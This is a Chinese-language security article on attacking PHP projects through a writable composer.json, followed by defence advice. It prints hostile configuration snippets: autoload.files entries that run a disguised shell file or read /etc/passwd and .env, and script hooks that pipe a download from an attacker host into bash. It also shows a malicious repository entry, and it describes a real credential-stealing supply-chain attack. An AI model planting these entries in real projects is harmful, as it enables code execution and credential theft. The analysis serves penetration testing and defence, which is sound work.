一、攻击的本质:从配置文件到代码执行
在 PHP 项目中,composer.json不仅是依赖声明文件,更是 Composer 自动加载机制的核心配置来源。当攻击者获得该文件的写入权限时,实际上获得了在目标服务器上执行任意 PHP 代码的多种路径。
vendor/autoload.php本身是一个安全的引导文件,每次composer dump-autoload都会被重写,本身不包含危险逻辑。但攻击者可以利用 Composer 的各种配置机制,让这个加载过程变为后门入口。
二、autoload.files:最直接的预加载攻击
2.1 攻击原理
autoload.files是 Composer 中唯一的"预加载"机制。被列入该数组的文件会在每次require vendor/autoload.php时无条件执行,不检查类是否存在,不走 PSR-4 规则,纯 PHP 文件直读。
攻击者在composer.json中写入:
{"autoload":{"files":["themes/demo/assets/js/shell.js"]}}随后运行composer dump-autoload重新生成加载器。vendor/autoload.php将包含:
require__DIR__.'/..'.'/themes/demo/assets/js/shell.js';2.2 现实案例:Laravel-Lang 供应链攻击
2026 年 5 月,攻击者通过 GitHub 标签重写攻击,篡改了 Laravel-Lang 生态中四个 Composer 包的 233 个版本,注入恶意src/helpers.php文件。该恶意文件正是通过autoload.files指令实现自动加载,在 Laravel 应用的每个 HTTP 请求中执行。
该恶意文件包含以下特征:
- 伪装成合法的 localization 函数,包含
laravel_lang_locale()和laravel_lang_fallback()作为掩护 - 通过字节数组拼接 C2 地址
flipboxstudio[.]info,规避明文扫描 - 使用主机指纹生成标记文件(基于安装目录、
php_uname('n')、文件 inode 的 MD5),实现单次执行 - 后台下载并执行 stage-two payload,通过
exec("php ... > /dev/null 2>&1 &")在 Linux/macOS 上静默运行 - 使用
@错误抑制符,确保无警告写入 PHP-FPM 或 error_log
最终 payload 是包含 15 个采集模块的 PHP 凭证窃取器,目标包括云访问密钥、Kubernetes 配置、SSH 私钥、Git 凭证、浏览器密码和加密钱包。
2.3 LFI 组合拳
除直接写入恶意 PHP 代码外,autoload.files还可用于读取敏感文件:
{"autoload":{"files":["/etc/passwd","/var/www/.env","../../../.env"]}}通过require_once加载已有敏感文件,读取环境变量、APP_KEY、数据库凭证等。常见可读目标包括.env、.docker/config.json、.npm/package-lock.json等。
三、脚本 Hooks:Composer 生命周期中的执行点
3.1 可用 Hooks
Composer 在多个生命周期阶段支持执行自定义命令:
{"scripts":{"pre-autoload-dump":["php shell.php"],"post-autoload-dump":["system('id')"],"pre-update-cmd":["curl http://attacker/shell.sh | bash"],"post-update-cmd":["python3 -c 'import os;os.system(\"id\")'"]}}触发时机包括任何composer update或composer dump-autoload操作。
3.2 注意事项
某些 CMS(如 October CMS 4.3.5)的 JSON 验证策略会过滤scripts段,导致自定义脚本不生效。此外,config.allow-plugins策略也会影响脚本执行。
四、命名空间劫持:类加载层面的潜伏攻击
4.1 classmap 劫持
{"autoload":{"classmap":["themes/demo/assets/js/"]}}在可控目录下放置同名类文件(如Illuminate\\Http\\Request.php),若该类未被其他 autoload 注册且被框架实际引用,则可能覆盖框架类。
4.2 PSR-4 空命名空间劫持
{"autoload":{"psr-4":{"":"themes/demo/assets/js/"}}}空命名空间映射到可控目录后,任何未在其他 autoload 中注册但被require的类都会从该目录加载。难点在于找到具体可劫持的类。
五、远程包劫持:供应链层面的纵深攻击
5.1 恶意包安装
{"require":{"attacker/malicious":"1.0.0"},"repositories":[{"type":"composer","url":"http://attacker.com/packagist/"}]}通过自定义repositories指向攻击者控制的 Packagist 镜像,诱导 Composer 安装恶意包。
5.2 Composer Plugin 执行代码
恶意包可通过composer-plugin类型在安装过程中执行代码:
{"name":"attacker/malicious","version":"1.0.0","type":"composer-plugin","autoload":{"classmap":["src/"]}}src/Plugin.php中的activate()方法可在composer install时被触发。2025 年的攻击趋势中,插件 hook 利用已成为 Composer 生态中最常见的凭据窃取向量。
5.3 依赖混淆攻击
Composer 默认检查 Packagist.org 的行为使攻击者能够在公共仓库上发布与私有包同名的恶意包。当私有包名称未被认领时,Composer 会从公共源拉取攻击者发布的版本并执行其 autoload 代码。
5.4 前提条件
- 靶机需有外网访问能力
- 需要搭建伪造 Packagist 镜像
config.allow-plugins需允许插件安装
六、Composer 自身漏洞:配置文件即攻击面
Composer 自身历史漏洞表明,即使不借助上述机制,恶意composer.json也可直接导致代码执行:
| CVE | 描述 | 影响版本 |
|---|---|---|
| CVE-2021-41116 | config.platform值注入 PHP 代码到platform_check.php,自动执行 | < 1.10.26 / < 2.1.9 |
| CVE-2023-43655 | web 可访问的composer.phar在register_argc_argv启用时可 RCE | < 2.6.4 / < 2.2.22 / < 1.10.27 |
| CVE-2026-40176 | Perforce VCS 仓库参数命令注入 | 1.0-2.2.26 / 2.3-2.9.5 |
其中 CVE-2026-40176 尤为值得关注:攻击者只需在恶意composer.json中声明一个 Perforce VCS 仓库,在port、user、client参数中注入 shell 命令,即使 Perforce 未安装也能执行。VCS 仓库仅从根composer.json加载,这意味着该漏洞无法通过依赖包的composer.json利用,但若攻击者可直接修改项目根目录的配置文件,则风险极高。
七、config 段:权限放行与持久化辅助
{"config":{"allow-plugins":{"*":true},"process-timeout":3600}}allow-plugins设置为true会关闭全部防护,允许任意 Composer 插件在install/update时执行代码。生产环境应使用精确的vendor/name白名单。process-timeout可防止命令执行超时被杀死。
八、攻击路径对照总览
| 手段 | 外网需求 | 可行性 | 复杂度 | 触发时机 |
|---|---|---|---|---|
autoload.files→ RCE | 否 | 高 ✓ | ★☆☆ | 任意请求(require autoload.php) |
autoload.files→ LFI 读文件 | 否 | 高 ✓ | ★☆☆ | 任意请求 |
autoload.classmap类劫持 | 否 | 低 | ★★★ | 特定类被引用时 |
autoload.psr-4命名空间劫持 | 否 | 低 | ★★★ | 特定类被引用时 |
| Composer scripts hooks | 否 | 视配置而定 | ★☆☆ | composer 命令执行时 |
| 远程恶意包劫持 | 是 | 中 | ★★★★ | composer install/update |
| CVE-2021-41116(platform 注入) | 否 | 中 | ★★☆ | 任意请求 |
| CVE-2026-40176(Perforce 注入) | 否 | 中 | ★★☆ | composer 命令执行时 |
九、防御建议
严格审计 autoload.files:检查所有
composer.json中的files字段,确保路径指向无副作用的函数/常量定义文件,禁止引入包含eval、system、$_GET/$_POST处理的脚本。生产环境禁用插件:使用
composer install --no-plugins --no-dev --prefer-dist。插件白名单:不允许
"allow-plugins": true,应精确到vendor/name。验证 vendor 完整性:CI 流水线中运行
composer install --dry-run --verbose,比对composer.lock记录的哈希与实际文件。更新 Composer 版本:确保使用最新稳定版本,修复已知 CVE(CVE-2021-41116、CVE-2023-43655、CVE-2026-40176 等)。
不将 composer.phar 暴露到 Web:避免
register_argc_argv开启时的 RCE 风险。审计 .env 等敏感文件权限:防止 LFI 组合读取。
监控出站流量:检查对可疑域名的连接(如
flipboxstudio[.]info)。
十、总结
composer.json可写场景下,攻击面远比表面看起来广阔。从最直接的autoload.files预加载 RCE,到复杂的远程包劫持和 Composer 自身漏洞利用,攻击者拥有多层路径实现代码执行。对于实际渗透测试场景,autoload.files向可写目录注入恶意 PHP 文件是最简单高效的路径——无需外网、无需依赖其他条件、任意请求触发。而对于防御方,关键不在于保护vendor/autoload.php本身,而在于对composer.json配置变更的严格审计和 Composer 运行环境的权限控制。